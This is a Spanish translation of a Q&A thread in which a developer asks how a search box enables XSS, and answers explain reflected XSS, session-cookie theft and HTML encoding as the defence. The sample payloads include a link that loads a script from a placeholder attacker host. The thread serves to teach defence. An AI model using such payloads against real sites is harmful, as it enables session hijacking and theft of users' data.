Ataque XSS típico 'cuadro de búsqueda'

Question

Ataque XSS típico 'cuadro de búsqueda'

#1 de Neil Smithline (6 votos)
#2 de Steffen Ullrich (2 votos)
#3 de tim (1 votos)

4

Cuando desarrollo un sitio, siempre estoy consciente de fallas de seguridad, pero me cuesta ver cómo se podría usar un cuadro de búsqueda para inyectar un script que podría ejecutarse en una página mía.

Así que entiendo que, a partir de la falta de desinfección, se pueden agregar comentarios a mi DOM. ¿Y qué? Nunca espero que un usuario use javascript como término de búsqueda, así que nunca intentaré ejecutarlo en mi página. Lo trataré como una cuerda, por lo que solo se comportará como una. ¿O me estoy perdiendo algo fundamental aquí?

La única vez que puedo agregar algo de entrada a la página es si represento No search results found for "<script>malicious();</script>" , pero nunca dejaré que se ejecute el término de búsqueda.

¿Qué estoy entendiendo mal aquí?

De hecho, si alguien puede explicar aparte del concepto del cuadro de búsqueda, estoy contento con eso. Estoy luchando por comprender la última parte de un ataque XSS.

xss javascript

pregunta 09.04.2016 - 16:32

fuente

3 respuestas

Lea otras preguntas en las etiquetas xss javascript

¿Los crackers de contraseñas / ataques de fuerza bruta otorgan mayor prioridad a las "contraseñas de imágenes"? ¿Las contraseñas de longitud limitada son un riesgo para la seguridad? [duplicar]

score 6 · Answer 1

El objetivo de un ataque XSS es que un atacante de alguna manera inyecte código en una página web que se publica desde su sitio. Este código es privilegiado en el sentido de que, como fue servido por su sitio, la política del mismo origen le permite acceso completo a las cookies de su sitio y al contenido de la página web que sirvió.

Por lo tanto, si su sitio responde a una solicitud como

http://example.com/search?q=<script>alert(1)</script>

devolviendo este HTML

<body>No search results found for "<script>alert(1);</script>"</body>

entonces ese script se ejecutará y verá el cuadro de diálogo de alerta. Esta es una vulnerabilidad XSS. Por otro lado, si su sitio vuelve:

<body>No search results found for "&lt;script&gt;alert(1);&lt;/script&gt;"</body>

Entonces tienes, al menos, algo de protección contra los ataques XSS.

En un ataque real, el atacante no usaría alert , pero intentará realizar una acción en su sitio como usuario registrado o robar datos de la página o las cookies del usuario. Debes leer la Hoja de trucos OWASP XSS para obtener una explicación más completa y una presentación detallada. de cómo realizar el escape adecuado para prevenir las vulnerabilidades de XSS.

score 2 · Answer 2

Imagínate el siguiente escenario:

El usuario ha iniciado sesión en su sitio, es decir, tiene una cookie de sesión.
El usuario visita un enlace a su sitio que está controlado por el pirata informático. Dicho enlace podría estar incorporado en un sitio controlado por el atacante como <img src=http://your-site/... . O podría estar dentro de un correo, dentro de un anuncio (ver publicidad maliciosa ) o similar.
El enlace utiliza el problema XSS en su cuadro de búsqueda para inyectar código en el sitio, es decir, http://your-site/search?q=This+will+not+be+found+<script+src=http://attacker/bad.js> .

la entrada se puede agregar a mi DOM. ¿Y qué?

La secuencia de comandos controlada por el atacante ahora se ejecuta en el contexto de su sitio . Esto significa que la secuencia de comandos tiene acceso al DOM completo y a todas las cookies que no tienen activada la marca httpOnly. El script puede hacer cualquier cosa dentro del sitio, como:

Enviar la cookie de sesión al atacante para que se pueda realizar el secuestro de la sesión.
Ejecutar alguna acción como el usuario conectado, como publicar algunos artículos insultantes o algo peor. Es decir. todo lo que el usuario pueda hacer en su sitio.

score 1 · Answer 3

Nunca espero que un usuario use javascript como término de búsqueda

Y es probable que los usuarios no lo hagan (dependiendo del tipo de sitio web que tenga).

Pero los atacantes lo harán.

Y tratarán de que las víctimas busquen JavaScript dañino (por ejemplo, enviándoles un enlace), que luego se ejecuta en el contexto del navegador de víctimas. Esto significa que el atacante ahora puede leer cualquier dato que su sitio web muestre al usuario, pueden cambiar el aspecto que tiene su sitio web al usuario, pueden realizar cualquier acción en su sitio web en nombre del usuario, etc.

así que nunca intentaré ejecutarlo en mi página.
pero nunca dejaré que se ejecute el término de búsqueda.

Bien. ¿Pero cómo vas a hacer eso? Si un atacante busca <script>alert(1);</script> , ¿cómo se asegura de que este código JavaScript no sea ejecutado por el navegador al que se envía?

Lo trataré como una cadena, por lo que solo se comportará como una.

Pero todo lo que envíes al cliente se trata como una cadena, y los scripts aún se ejecutarán.

Lo que debe hacer (en la mayoría de las situaciones) es codificar con HTML la entrada. De esa manera, de hecho se trata como texto ordinario y no se trata como un código HTML.

Para obtener más información sobre prevención de XSS o general información sobre XSS como los diferentes tipos, ejemplos, etc., vea por ejemplo OWASP.